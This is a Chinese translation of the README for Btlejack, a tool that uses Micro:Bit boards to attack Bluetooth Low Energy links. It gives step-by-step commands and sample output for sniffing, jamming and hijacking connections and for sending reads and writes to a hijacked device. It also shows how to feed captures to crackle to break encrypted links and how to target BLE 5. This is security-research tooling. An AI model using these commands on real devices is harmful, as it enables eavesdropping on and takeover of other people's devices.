Btlejack可以为你提供嗅探、干扰和劫持低功耗蓝牙设备所需的一切。它依赖于一个或多个BBC Micro:Bit。运行专用固件的设备。你可能还想使用Adafruit的Bluefruit LE嗅探器或nRF51822评估套件,我们增加了对这些设备的支持。
该工具的当前版本(2.0)支持BLE 4.x和5.x。但对BLE5.x的支持有限,因为它仅支持1Mbps未编码PHY模式,并且不支持channel map的更新。
你需要一个基于UNIX的系统(例如Raspberry Pi)。如果你使用BBC Micro:Bit,则需要一到三个Micro:Bit设备(建议使用三个),并且每个设备都有一个空闲的USB端口。Micro:Bit的功耗相当低,因此你可以使用单个USB端口和无源集线器为推荐的三个单元供电。
如果你在电脑上同时连接3个microbits,Btlejack将能够嗅到每个advertising channel,并且有更多机会捕获连接请求。
首先,使用Pip安装btlejack Python3客户端软件:
$ sudo pip3 install btlejack
然后,使用USB线将Micro:Bit设备连接到计算机,安装相关的大容量存储设备(挂载点必须包含MICROBIT),并执行以下命令:
$ btlejack -i
这将对连接到你计算机的各个Micro:Bit设备进行编程,让它们可以同Btlejack一起使用。它将使用当前客户端软件的正确固件版本,因此强烈建议你在每次更新Btlejack时,执行此固件安装过程。
如果你使用的是Bluefruit LE嗅探器或nRF51822评估套件,请使用外部SWD programmer使用此固件flash你的设备。
让你的设备保持连接状态!
注意:这仅适用于与posix兼容的系统。
Btlejack可以:
使用各种设备
嗅探现有的BLE连接
嗅探新的BLE连接
干扰现有的BLE连接
劫持现有的BLE连接
将捕获的数据包导出为各种PCAP格式
Btlejack通常会尝试自动检测并使用连接的兼容设备(目前仅为Micro:Bit),但由于固件可以被黑客攻击或修改以与其他基于nRF51822的主板配合使用,因此它提供了允许与这些设备兼容的特定选项。
-d选项允许你使用Btlejack指定一个或多个设备。请注意,该选项将禁用设备的自动检测,你应该根据自身需要添加任意数量的设备:
$ btlejack -d /dev/ttyACM0 -d /dev/ttyACM2 -s
首先,使用btlejack查找到目标的现有连接:
$ btlejack -s
BtleJack version 1.1
[i] Enumerating existing connections ...
[ - 54 dBm] 0xcd91d517 | pkts: 1
[ - 46 dBm] 0xcd91d517 | pkts: 2
第一个值(以dBm为单位)表示信号的功率,该值越大,嗅探连接就越好。
第二个值(hex十六进制)是关联的访问地址,一个32位值,用于标识两个蓝牙低功耗兼容设备之间的链接。
最后一个值是使用此访问地址看到的数据包数。该值越高,使用相应访问地址的可能性就越大。
然后,使用-f选项跟踪特定连接:
$ btlejack -f 0xdda4845e
BtleJack version 1.1
[i] Detected sniffers:
> Sniffer #0: fw version 1.1
[i] Synchronizing with connection 0xdda4845e ...
✓ CRCInit: 0x2a035e
✓ Channel Map = 0x1fffffffff
✓ Hop interval = 39
✓ Hop increment = 15
[i] Synchronized, packet capture in progress ...
LL Data: 02 07 03 00 04 00 0a 03 00
LL Data: 0a 08 04 00 04 00 0b 5a 69 70
LL Data: 02 07 03 00 04 00 0a 03 00
LL Data: 0a 08 04 00 04 00 0b 5a 69 70
如果你使用超过1个microbit,Btlejack将并行化一些嗅探操作,以加快连接参数的恢复!
btlejack支持的-c选项允许你指定目标BD地址,或者你也可以使用any来捕获创建的任何新连接。
$ btlejack -c any
BtleJack version 1.1
[i] Detected sniffers:
> Sniffer #0: version 1.1
> Sniffer #1: version 1.1
LL Data: 05 22 df b4 6f 95 c5 55 c0 0a f6 99 23 40 1d 7b 2f 0a 9a f4 93 01 12 00 27 00 00 00 d0 07 ff ff ff ff 1f 0b
[i] Got CONNECT_REQ packet from 55:c5:95:6f:b4:df to 40:23:99:f6:0a:c0
|-- Access Address: 0x0a2f7b1d
|-- CRC Init value: 0x93f49a
|-- Hop interval: 39
|-- Hop increment: 11
|-- Channel Map: 1fffffffff
|-- Timeout: 20000 ms
LL Data: 03 09 08 0f 00 00 00 00 00 00 00
LL Data: 03 09 08 0f 00 00 00 00 00 00 00
LL Data: 0b 06 0c 08 0f 00 09 41
LL Data: 03 06 0c 07 1d 00 d3 07
或者你可能还想指定目标BD地址:
$ btlejack -c 03:e1:f0:00:11:22
一旦通过其访问地址标识了连接,就可以使用-j选项对其进行干扰:
$ btlejack -f 0x129f3244 -j̀
你也可以使用-t选项来劫持现有连接。一旦被劫持,Btlejack会给你一个提示,允许你与被劫持的设备进行交互。
首先,劫持现有连接:
$ btlejack -f 0x9c68fd30 -t -m 0x1fffffffff
BtleJack version 1.1
[i] Using cached parameters (created on 2018-08-11 01:48:24)
[i] Detected sniffers:
> Sniffer #0: fw version 1.1
[i] Synchronizing with connection 0x9c68fd30 ...
✓ CRCInit: 0x81f733
✓ Channel map is provided: 0x1fffffffff
✓ Hop interval = 39
✓ Hop increment = 9
[i] Synchronized, hijacking in progress ...
[i] Connection successfully hijacked, it is all yours \o/
btlejack>
然后使用以下命令与设备交互:- discover:执行services 和 characteristics枚举,将为你提供有关服务和特征的所有信息- write:将数据写入特定值句柄- read:从特定值句柄读取数据- ll:发送原始链路层数据包(用于ninjas)
discover命令将发送和接收蓝牙LE数据包,并检索所有服务UUID和参数,以及特征UUID和参数:
btlejack> discover
start: 0001 end: 0005
start: 0014 end: 001a
start: 0028 end: ffff
Discovered services:
Service UUID: 1801
Characteristic UUID: 2a05
| handle: 0002
| properties: indicate (20)
\ value handle: 0003
Service UUID: 1800
Characteristic UUID: 2a04
| handle: 0019
| properties: read (02)
\ value handle: 001a
Characteristic UUID: 2a00
| handle: 0015
| properties: read (02)
\ value handle: 0016
Characteristic UUID: 2a01
| handle: 0017
| properties: read (02)
\ value handle: 0018
Service UUID: 1824
Characteristic UUID: 2abc
| handle: 0029
| properties: write indicate (28)
\ value handle: 002a
read命令接受单个参数,即与要从中读取的特征对应的值句柄:
btlejack> read 0x16
read>> 4c 47 20 77 65 62 4f 53 20 54 56
write命令接受三个参数:
btlejack> write <value handle> <data format> <data>
支持的数据格式:
hex:十六进制数据(即“414261”)
str:文本字符串,可以用双引号括起来
最后一个命令允许你以十六进制形式发送蓝牙低功耗链路层PDU,如第6卷第B部分第2.4章中所述。
Btlejack的一个有趣特性是可以将捕获的数据导出到PCAP文件。
Btlejack支持以下DLT格式:
DLT_BLUETOOTH_LE_LL_WITH_PHDR
DLT_NORDIC_BLE
DLT_BLUETOOTH_LE_LL
可以使用-o选项指定输出文件,而输出格式可以使用-x选项指定。有效格式值为:ll_phdr, nordic, 或 pcap(默认值)。
$ btlejack -f 0xac56bc12 -x nordic -o capture.nordic.pcap
ll_phdr导出类型在嗅探加密连接时非常有用,因为它也受到crackle的支持。因此,如果你想嗅探并断开加密的连接,这是一个很好的选择。
你可能还需要使用-s选项告诉crackle使用特定的破解策略:
$ crackle -i some.pcap -s 1
Btlejack使用连接缓存来存储一些与连接相关的值,以提升速度。此连接缓存可能会导致一些问题,尤其是在已看到访问地址的情况下。
可以使用-z选项刷新此缓存:
$ btlejack -z
Btlejack 2.0引入了一个新的-w选项,允许你指定FIFO路径(存在或不存在)以执行数据包的实时分析:
$ btlejack -c any -w /tmp/blepipe
你甚至可以同时使用FIFO和输出文件:
$ btlejack -c any -w /tmp/blepipe -o blepackets.pcap
如果你之前已通过USB启用虚拟以太网(RNDIS),例如要通过USB设置Raspberry Pi Zero W,则需要再次禁用它(即从boot/config.txt中删除dtoverlay=dwc2,以及从boot/cmdline.txt中删除modules-load=dwc2,g_ether,然后重启sudo),否则会干扰嗅探器的USB连接。
此版本支持蓝牙低功耗版本5和5.1,尤其是版本5(CSA #2)中引入的新信道选择算法。但是,由于使用的硬件不支持从版本5添加的两个新PHY,因此它只能使用1Mbps未编码PHY模式来嗅探,干扰和劫持连接。
另外请注意,Btlejack中包含的CSA #2的当前实现暂不支持channel map更新。
Btlejack会自动检测所使用的信道选择算法,因此你不必担心,只需像往常一样捕获数据包。
嗅探现有的BLE 5连接(使用1Mbps未编码PHY模式,仅此PHY)并不是那么困难。首先,你必须使用-5选项指定要BLE 5连接目标。注意,无法判断现有连接是否使用CSA #2 或 CSA #1,因此你必须尝试这两种技术,直到其中一种方法起作用。
$ btlejack -f 0x11223344 -5
然后,Btlejack将恢复使用的channel map及跃点间隔值:
$ btlejack -f 0x11223344 -5
[i] Synchronizing with connection 0x11223344 ...
✓ CRCInit: 0x40d64f
✓ Channel Map = 0x1fffffffff
✓ Hop interval = 160
然后它会尝试恢复此连接的PRNG计数器值:
$ btlejack -f 0x11223344 -5
[i] Synchronizing with connection 0x11223344 ...
✓ CRCInit: 0x40d64f
✓ Channel Map = 0x1fffffffff
✓ Hop interval = 160
✓ CSA2 PRNG counter = 5137
[i] Synchronized, packet capture in progress ...
完成后,Btlejack将与此连接同步并处理数据包。
这里没有什么新的东西,除了你必须使用-5选项指定攻击的BLE 5连接。
注意,你可以通过分别使用-m和-p标志来指定要使用的channel map和跃点间隔值来优化此攻击。两者必须同时提供,除非它们不起作用。
此时我没有设法劫持BLE 5连接,因为此攻击具有时效性。我的BLE 5设备使用0延迟,因此不会延迟并导致此攻击失败。
当我获取到一些合法的BLE 5设备时,我会改进这一点。
*参考来源:GitHub,FB小编secist编译,转载请注明来自FreeBuf.COM